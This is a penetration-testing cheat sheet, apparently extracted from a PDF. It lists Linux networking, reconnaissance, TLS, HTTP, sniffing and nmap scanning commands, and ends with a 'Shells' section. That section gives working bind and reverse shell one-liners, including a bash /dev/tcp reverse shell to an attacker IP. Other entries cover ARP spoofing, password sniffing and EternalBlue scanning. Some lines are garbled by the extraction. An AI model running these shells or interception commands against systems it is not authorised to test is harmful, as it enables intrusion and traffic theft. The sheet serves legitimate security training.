Hacking Tools Cheat Sheet

Basic Linux Networking Tools

Show IP configuration:

#ipalw

Change IP/MAC address:

ip link set dev eth0 down

macchanger -m 23:05:13:37:42:21 eth0

ip link set dev eth0 up

Static IP address configuration:

ip addr add 10.5.23.42/24 dev eth0

DNS lookup:

dig compass-security.com

Reverse DNS lookup:

dig -x 10.5.23.42

Information Gathering

Find owner/contact of domain or IP address:

whois compass-security.com

Get nameservers and test for DNS zone transfer:

dig example.com ns

dig example.com axfr @n1.example.com

Get hostnames from CT logs: Search for

%.compass-security.com on https://crt.sh.

Or using an nmap script:

nmap -sn -Pn compass-security.com

--script hostmap-crtsh

Combine various sources for subdomain enum:

amass enum -src -brute -min-forrecursive 2 -d compass-security.com

TCP Tools

Listen on TCP port:

ncat -l -p 1337

Connect to TCP port:

ncat 10.5.23.42 1337

TLS Tools

Create self-signed certificate:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -nodes -subj "/CN=example.org/"

Start TLS Server:

ncat --ssl -l -p 1337 --ssl-cert

cert.pem --ssl-key key.pem

Connect to TLS service:

ncat --ssl 10.5.23.42 1337

Connect to TLS service using openssl:

openssl s_client -connect

10.5.23.42:1337

Show certificate details:

openssl s client -connect

10.5.23.42:1337 | openssl x509 -text

Test TLS server certificate and ciphers:

sslyze -- regular 10.5.23.42:443

TCP to TLS proxy:

socat TCP-LISTEN:2305, fork, reuseaddr ssl:example.com:443

Online TLS tests:

ssllabs.com, hardenize.com

HTTP Tools

Start Python webserver on port 2305:

python3 -m http.server 2305

Perform HTTP Request:

curl http://10.5.23.42:2305/?foo=bar

Useful curl options:

-k: Accept untrusted certificates

-d "foo=bar": HTTP POST data

-H: "Foo: Bar": HTTP header

-I: Perform HEAD request

L: Follow redirects

-o foobar.html: Write output file

--proxy http://127.0.0.1:8080: Set proxy

Scan for common files/applications/configs:

nikto -host https://example.net

Enumerate common directory-/filenames:

gobuster dir -k -u

https://example.net-w

/usr/share/wordlists/dirb/common.txt

Sniffing

ARP spoofing:

arpspoof -t 10.5.23.42 10.5.23.1

Or a graphical tool:

ettercap -G

Show ARP cache:

ip neigh

Delete ARP cache: # ip neigh flush all

Sniff traffic:

tcpdump [options] [filters]

Useful tcpdump options:

- -i interface: Interface or any for all
- -n: Disable name and port resolution
- -A: Print in ASCII
- -XX: Print in hex and ASCII
- -w file: Write output PCAP file
- -r file: Read PCAP file

Useful tcpdump filters:

- not arp: No ARP packets
- port ftp or port 23: Only port 21 or 23
- host 10.5.23.31: Only from/to host
- net 10.5.23.0/24: Only from/to hosts in network

Advanced sniffing using tshark or Wireshark.

Sniffing over SSH on a remote host:

ssh 10.5.23.42 tcpdump -w- port not

ssh | wireshark -k -i -

Search in network traffic:

ngrep -i password

Show HTTP GET requests:

urlsnarf

Show transmitted images:

driftnet

Network Scanning

ARP Scan:

nmap -n -sn -PR 10.5.23.0/24

Reverse DNS lookup of IP range:

nmap -sL 10.5.23.0/24

Nmap host discovery (ARP, ICMP, SYN 443/tcp Listen for reverse shell (on attacker): ACK 80/tcp):

nmap -sn -n 10.5.23.0/24

TCP scan (SYN scan = half-open scan):

nmap -Pn -n -sS -p 22,25,80,443,8080 10.5.23.0/24

List Nmap scripts:

ls /usr/share/nmap/scripts

Scan for EternalBlue vulnerable hosts:

nmap -n -Pn -p 443 --script smbvulnms17-010 10.5.23.0/24

Scan for vulnerabilities (script category filter):

nmap -n -Pn --script "vuln and safe" 10.5.23.0/24

Performance Tuning (1 SYN packet ≈ 60 bytes → 20'000 packets/s ≈ 10 Mbps):

nmap -n -Pn --min-rate 20000

10.5.23.0/24

Useful nmap options:

- -n: Disable name and port resolution
- -PR: ARP host discovery
- -Pn: Disable host discovery
- -sn: Disable port scan (host discovery
- -sS/-sT/-sU: SYN/TCP connect/UDP scan
- --top-ports 50: Scan 50 top ports
- -iL file: Host input file
- -oA file: Write output files (3 types)
- -sC: Script scan (default scripts)
- -- script <file/category>: Specific scripts
- -sV: Version detection
- -6: IPv6 scan

The target can be specified using CIDR nota-

(10.5.23.0/24) or range definitions (10.13-37.5.1-23).

Fast scan using masscan:

masscan -p80,8000-8100 --rate 20000 10.0.0.0/8

Public internet scan databases:

shodan.io, censys.io

Shells Start bind shell (on victim):

ncat -l -p 2305 -e "/bin/bash -i"

Connect to bind shell (on attacker):

ncat 10.5.23.42 2305

ncat -l -p 23

Start reverse shell (on victim):

ncat -e "/bin/bash -i" 10.5.23.5 23 Start reverse shell with bash only (on victim):

bash -i &>/dev/tcp/10.5.23.5/42 0>&1

Upgrade to pseudo terminal:

python -c 'import pty; pty.spawn("/bin/bash")'

